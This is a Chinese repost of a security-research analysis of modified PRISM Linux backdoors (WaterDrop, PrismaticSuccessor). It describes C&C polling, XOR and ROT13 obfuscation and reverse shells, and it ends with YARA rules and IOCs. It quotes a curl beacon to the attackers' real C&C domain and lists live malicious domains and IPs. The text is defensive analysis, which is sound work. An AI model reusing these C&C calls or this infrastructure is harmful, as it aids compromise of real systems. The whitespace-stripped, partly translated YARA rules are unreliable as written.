当前位置: 首页 > 科技观察

四年来,攻击者使用PRISM后门

时间:2023-03-19 20:16:19 科技观察

AT&T安全研究人员最近发现了一组极其隐蔽的ELF可执行文件,它们在VirusTotal上的防病毒检测率很低或为零。在对样本进行分析后,AT&T将它们识别为多个攻击者在多个活动中使用的开源PRISM后门的修改版本。对使用这些恶意软件的活动的深入分析表明,攻击者已经活跃了长达三年半的时间。该活动中最早的样本出现在2017年11月8日。WaterDrop分析WaterDrop易于识别的变体包含一个名为xencrypt的函数,该函数使用硬编码的单字节0x1F密钥执行XOR加密。从WaterDrop变体版本7开始,恶意样本还包含纯文本字符串WaterDropxvXstarted,其中X是恶意样本的版本号。到目前为止,已经观察到版本1、2.2和3是使用PRISM命名的,而版本7、9和12则被命名为WaterDropx。WaterDrop使用agent-waterdropx作为User-Agent进行HTTP协议的C&C通信,C&C使用waterdropx.com域名的子域名。尽管有这些高度可见的特征,但攻击者在VirusTotal上的检测率仍然极低,这可能是由于活动规模较小。攻击者于2017年8月18日注册了域名waterdropx.com,截至2021年8月10日,该域名仍在使用中。WaterDrop除了具备PRISM的基本功能外,还额外引入了异或加密和C&C服务器周期轮询的功能。恶意软件与C&C服务器之间的通信是纯文本HTTP协议,所有版本的恶意软件都使用agent-waterdropx作为User-Agent。一些变体在以root权限执行时也会加载内核模块。版本演进(一)PRISMv1第一版样本被攻击者利用waterdropx.com作为C&C域名,其User-Agent相同。与公开的PRISM相比,此版本创建了一个子进程,该子进程不断轮询C&C服务器以执行命令。curl-A'agent-waterdropx''http://r.waterdropx.com:13858/tellmev2.x?v=1&act=touch'第一版样本没有对恶意样本进行任何混淆、打包或加密.(2)PRISMv2.22.2版本PRISM开始使用异或加密来处理敏感数据,例如使用的shell命令等。单字节密钥被硬编码为0x1F,用于查找来自同一攻击者的所有样本。对于该版本的恶意软件,初始的C&CURI请求格式为:/tellmev2.x?v=2.2&act=touch(3)PRISMv33版本的PRISM与2.2版本基本相同,只是多了一个BOTID保存到/etc/.xid。初始请求格式为:/tellmev2.x?v=3&act=touch&xid=(4)PRISMv7Waterdropv7引入了内核模块的使用,如果进程有root权限则使用insmod安装。安全分析师暂时无法确定此有效载荷的用途。其余代码与PRISMv3相同,只是更改了硬编码版本号。初始请求格式为:/tellmev2.x?v=7&act=touch&xid=(5)PRISMv9延续了上一版本的风格,Waterdropv9变化不大。在此版本中发现的唯一变化是使用BOTID作为ICMP密码来生成反向shell,而不是使用硬编码的ICMP密码。初始请求格式为:/tellmev2.x?v=9&act=touch&xid=(6)PRISMv12Waterdropv12与其前身几乎相同,但增强了后门的稳定性。其初始请求格式为:/tellmev2.x?v=12&act=touch&xid=恶意软件家族PrismaticSuccessor域z0gg.me解析为由其他12个域共享的IP地址。一些重叠域是PRISM的已知C&C域,但z0gg.me也与其他几个恶意样本相关联。特别是,观察与https://github.com/lirongchun/i存储库有关。在此存储库中,可以观察到以下文件:(1)三个包含IP地址(README.md)和端口号(README1.md和MP.md)的文件(2)针对DirtyCow(CVE-2016-5195)漏洞Bash脚本,命名为:111(3)几个ELF二进制文件,包括:git:自定义恶意软件植入工具ass:为x64架构编译的名为hidemyass的开源安全工具ass32:为为x64架构编译的名为hidemyass的开源安全工具对于x86架构,当攻击者使用公共GIT存储库来托管他们的恶意软件和基础设施信息时,可以查看历史数据以观察其演变。例如,我们可以使用以下命令收集攻击者用作C&C服务器的所有IP地址:$gitlog-pREADME.md|grep"^+"|grep-v"++++45.199.88[.]86+154.48.227[.]27+207.148.118[.]141+154.48.227[.]27+165.22.136[.]80+154.48.227[.]27+156.236.110[.]79+43.230.11[.]125+172.247.127[.]136+127.0.0[.1]+192.168.3[.]173+192.168.3[.]173:80+192.168.3[.]173+118.107.180[.]8+s.rammus[.]me+s.rammus[.]me:80+192.168.3[.]150:80+192.168.3[.]150^80+192.168.3[.]150^+^192.168.3[.]150+^192.168.3[.]133$shasum-a256*933b4c6c48f82bbb62c9b1a430c7e758b88c03800c866b36c2da2a5f72c93657MP.outf19043c7b06db60c8dd9ff55636f9d43b8b0145dffe4c6d33c14362619d10188giteeabee866fd295652dd3ddbc7552a14953d91b455ebfed02d1ccdee6c855718dgit(1)3a4998bb2ea9f4cd2810643cb2c1dae290e4fe78e1d58582b6f49b232a58575agit(2)3366676681a31feadecfe7d0f5db61c4d6085f5081b2d464b6fe9b63750d4cd8git(3)cc3752cc2cdd595bfed492a2f108932c5ac28110f5f0d30de8681bd10316b824git(4)baf2fa00711120fa43df80b8a043ecc0ad26edd2c5d966007fcd3ffeb2820531混帐(5)eb64ee2b6fc52c2c2211018875e30ae8e413e559bcced146af9aa84620e3312fgit443d1d65b9d3711871d8f7ad1541cfbb7fa35ecc1df330699b75dd3c1403c754278git5377ddc6be62724ca57ff45003c5d855df5ff2b234190290545b064ee4e1145f63gitest1de9232f0bec9bd3932ae3a7a834c741c4c378a2350b4bbb491a102362235017hostname7ed15e59a094ca0f9ccac4c02865172ad67dcfc5335066f67fe3f11f68dd7473ps1eb6973f70075ede421bed604d7642fc844c5a47c53d0fb7a9ddb21b0bb2519awm6f983303bb82d8cc9e1ebf8c6c1eb7c17877debc66cd1ac7c9f78b24148a4e46wm(1)e4fe57d9d2c78a097f38cba7a9aad7ca53da24ecbcad0c1e00f21d34d8a82de4wm32b08d48cc12c6afa5821a069bd6895175d5db4b5a9dde4e04d587c3dec68b1920wmgithub按大小进行分组,可以发现大约15K的样本是PRISM后门,而大约1.1MB的样本是另外的恶意软件攻击者在2019年7月16日提交了自定义implant,该恶意软件使用AmodifiedversionoftheUPXpacker.Theapparentsizeofthemalwareisduetothebinarybeingstaticallycompiledintolibcurl,amalwarefamilythatAT&ThasdubbedPrismaticSuccessor.TheanalysisshowsthattheconfigurationconsistsoftwoURLs:HostUrlisusedtoobtaintheC&ChostPortUrlisusedtoobtaintheportnumber.Afterexecution,itwilltrytolock/var/lock/sshd.lockasamutex.Next,themalwaredecryptsastringcontainingtheprocessname,whichisusedtooverwriteargv.请注意,aMcwfkvf变量包含[mcwfkvf]值,该值在src中被解密为[kauditd]。解密使用密钥为-2的ROT13。这个ROT13只处理大小写字母,不处理符号和数字。接下来,恶意软件通过子进程进行多任务处理。一个子进程打开一个反向shell会话到一个硬编码的C&C服务器,该服务器配置了最多三个用ROT13加密的C&C地址(z0gg.me、x63.in和x47.in)。服务器还需要回复密码才能成功建立反向shell。恶意软件计算回复缓冲区的MD5哈希并将其与硬编码值ef4a85e8fcba5b1dc95adaa256c5b482进行比较。无论是否成功联系到主C&C服务器,都会发生通信。子进程通过GitHub获取C&C主机和端口并打开反向shell。生成shell的函数与PRISM源代码非常相似,但不完全相同。一个子进程跳转到Shellcode异或解密,硬编码8字节密钥:构造命令如下:在StackOverflow上也可以查到有用户抱怨被攻击,与其一致。其他变体我们还观察到其他攻击者使用PRISM后门。然而,在大多数情况下,攻击者会按原样使用原始PRISM后门,而无需进行任何重大修改。在某种程度上,这也使我们无法正确跟踪攻击者的攻击。结论PRISM是一个开源的简单后门程序。它的流量清晰可辨,恶意文件也很容易被检测到。其C&C服务器已保持在线三年半。这表明,虽然通常会在数小时内检测到受到更多关注的大型活动,但可能会错过较小的活动。检测方法rulePrismaticSuccessor:LinuxMalware{meta:author="AlienLabs"description="PrismaticSuccessormalwarebackdoor"reference="aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5"copyright="AlienvaultInc.2021"strings:$s1="echo-e\""$s2="[\x1B[32m+\x1B[0m]`/bin/主机名`"$s3="[\x1B[32m+\x1B[0m]`/usr/bin/id`"$s4="[\x1B[32m+\x1B[0m]`uname-r`"$s5="[+]HostUrl->\t%s\n"$s6="[+]PortUrl->\t%s\n"$s7="/var/run/sshd.lock"$shellcode={4831C94881E9[4]488D05[4]48BB[8]4831[2]482D[2-4]E2F4}$c1={8B45??BE0000000089C7E8[4]8B45??BE0100000089C7E8[4]8B45??BE0200000089C7E8[4]8B45??BA[4]BE[4]89C7E8}条件:uint32(0)==0x464C457Fandfilesize>500KBandfilesize<5MBand5of($s*)andallof($c*)and#shellcode==2}rulePRISM{meta:author="AlienLabs"description="PRISMbackdoor"reference="https://github.com/andreafabrizi/prism/blob/master/prism.c"strings:$s1="I'mnotroot:("$s2="FlushIptables:\t"$s3="版本:\t\t%s\n"$s4="外壳:\t\t\t%s\n"$s5="进程名:\t\t%s\n"$s6="iptables-F2>/dev/null"$s7="iptables-PINPUTACCEPT2>/dev/null"$s8="开始\n\n#"$c1={E8[4]8B45??BE0000000089C7E8[4]8B45??BE0100000089C7E8[4]8B45??BE0200000089C7E8[4]BA00000000BE[4]BF[4]B800000000E8}$c2={BA00000000BE01000000BF02000000E8[4]8945[1]83????00}condition:uint32(0)==0x464C457Fandfilesize<30KBand(4of($s*)orallof($c*))IOC05fc4dcce9e9e1e627ebf051a190bd1f73bc83d876c78c6b3d86fc97b0dfd8e80af3e44967fb1b8e0f5026deb39852d4a13b117ee19986df5239f897914d92120f42b737e30e35818bbf8bd6e58fae980445f297034d4e07a7e62a606d219af80fba35856fadad942a59a90fc60784e6cceb1d8002af96d6cdf8e8c3533025f7342e7a720a738bf8dbd4e5689cad6ba6a4fc6dd6808512cb4eb294fb3ecf61cd3a3c701e282b7934017-dadc33d95e0cc57e43a124f14d852f39c2657e00816835999c1a4a281a853378680f20f6133e53c7f6d0167445b968eb49b844f37eab598fe5ed342da2b5a9d206e54b5234cfeeed35cf74b60d48eb0ef3dd1d7d7bd59a8c68661d1632f3a55ff9b7294d7464cc2f3ece63a782c962f1dc43f0f968e33af55b76d6c3c1f8368ddd3f9b40d1b6be50a2b97b25985d2dde1288ceab9ff24b6844ca4d1d7c07ed349f839c861c940085f1a30bbc3fc4aad0b496e8d492ce0b8215cafbea9c61df8835a3d52c40f9d2c6a37604dd329ef784e9d92bad1f30fb8cceb317a5d2febcd60318c1652af61cd3d4062902820e79a9fb9a4717f7ba2be7ec385e076c1c1f676d75e99148f05e754ef5b189e006fb53016ce9aef59e0c679600b75c6e84b53f4e6e21f3acbec1621c38940c8f3756d0b027c7a058d9cc802fa50409edf26e551ee0d134180aa1467a4923c759a2d3204948e14a52f12c8525243a68cba92521fb80a73136aaa19794b4772c35d6ecfec0f82ecad5207d3fa1155810be25f9b9a889ee64f845fc6645b2b839451b59cfa77bbc478531fdd5f933598184426a626d261922e1e82cb009910c25447b174d46e9cac3d391ae14d75ade6947141ac9b34f7f5743c14dbfb06f4dfb3089f82595d9b067e88c2f126c4f8b4823954c3c69121b0632a0e2061ef13feb348eb81f634379d011913933b4c6c48f82bbb62c9b1a430c7e758b88c03800c866b36c2da2a5f72c93657aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5baf2fa00711120fa43df80b8a043ecc0ad26edd2c5d966007fcd3ffeb2820531f19043c7b06db60c8dd9ff55636f9d43b8b0145dffe4c6d33c14362619d10188eeabee866fd295652dd3ddbc7552a14953d91b455ebfed02d1ccdee6c855718d3a4998bb2ea9f4cd2810643cb2c1dae290e4fe78e1d58582b6f49b232a58575a3366676681a31feadecfe7d0f5db61c4d6085f5081b2d464b6fe9b63750d4cd8cc3752cc2cdd595bfed492a2f108932c5ac28110f5f0d30de8681bd10316b824baf2fa00711120fa43df80b8a043ecc0ad26edd2c5d966007fcd3ffeb2820531eb64ee2b6fc52c2c2211018875e30ae8e413e559bcced146af9aa84620e3312fd1d65b9d3711871d8f7ad1541cfbb7fa35ecc1df330699b75dd3c1403c75427877ddc6be62724ca57ff45003c5d855df5ff2b234190290545b064ee4e1145f631de9232f0bec9bd3932ae3a7a834c741c4c378a2350b4bbb491a1023622350177ed15e59a094ca0f9ccac4c02865172ad67dcfc5335066f67fe3f11f68dd74731eb6973f70075ede421bed604d7642fc844c5a47c53d0fb7a9ddb21b0bb2519a6f983303bb82d8cc9e1ebf8c6c1eb7c17877debc66cd1ac7c9f78b24148a4e46e4fe57d9d2c78a097f38cba7a9aad7ca53da24ecbcad0c1e00f21d34d8a82de4b08d48cc12c6afa5821a069bd6895175d5db4b5a9dde4e04d587c3dec68b1920457467.comzzz.457467.comrammus.mes.rammus.mesw.rammus.mewa1a1.comwww.wa1a1.comwaterdropx.comr.waterdropx.comspmood222.mooo.comz0gg.mex63.inx47.in45.199.88.86